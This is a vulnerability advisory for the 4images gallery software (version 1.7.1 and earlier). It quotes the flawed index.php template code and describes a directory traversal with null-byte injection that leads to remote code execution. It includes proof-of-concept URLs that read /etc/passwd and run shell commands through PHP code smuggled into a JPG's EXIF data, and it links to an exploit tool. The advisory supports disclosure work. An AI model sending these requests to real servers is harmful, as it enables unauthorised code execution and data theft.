4images <=1.7.1 remote code execution

----------------- 4images <=1.7.1 remote code execution ------------------------
software:
site: http://www.4homepages.de/

i)
vulnerable code in index.php at line 35-54:

…
if (isset($HTTP_GET_VARS['template']) || isset($HTTP_POST_VARS['template'])) {
$template = (isset($HTTP_GET_VARS['template'])) ? stripslashes(trim($HTTP_GET_VARS['template'])) :
stripslashes(trim($HTTP_POST_VARS['template']));
if (!file_exists(TEMPLATE_PATH."/".$template.".".$site_template->template_extension)) {
$template = "";
}
else {
$main_template = $template;
}
}
else {
$template = "";
}
include(ROOT_PATH.'includes/page_header.php');
if (!empty($template)) {
$clickstream = "<a
href=\"".$site_sess->url(ROOT_PATH."index.php")."\">".$lang['home']."</a>".$config['category_separator'].str_replace("_",
" ", ucfirst($template));
$site_template->register_vars("clickstream", $clickstream);
$site_template->print_template($site_template->parse_template($main_template));
include(ROOT_PATH.'includes/page_footer.php');
}
…

poc:

http://[target]/[path]/index.php?template=…/…/…/…/…/…/…/…/…/…/…/etc/passwd%00

This is regardless of magic_quotes_gpc settings because we have stripslashes on
"template" argument (this is exploitable on PHP 4, because file_exists()
function suffers of null char injection…)
File comptemt is passed to an eval() in includes/template.php, so it is
evaluated as php code.

Also we can upload malicious php code through 4images functionalities inside a
.jpg file with well crafted EXIF metadata comtempt.
Example of remote code execution:

http://[target]/[path]/index.php?cmd=ls%0-la&template=…/…/data/tmp_media/suntzu1293.jpg%00

a php exploit tool availiable here:

http://retrogod.altervista.org/4images_171_incl_xpl.html

still a note about:

http://secunia.com/advisories/19026/

Secunia wrote: "Input passed to the "template" parameter in "index.php" isn't
properly verified, before it is used to include files. This can be exploited to
include files having the template file extension (".html") from local resources
via directory traversal attacks"

and classified it as low risk… this is true on PHP5 but not on PHP4 where you
can break the .html extension by a null char

rgod

site: http://retrogod.altervista.org
mail: rgod at autistici.org
original advisory: http://retrogod.altervista.org/4images_171_adv.html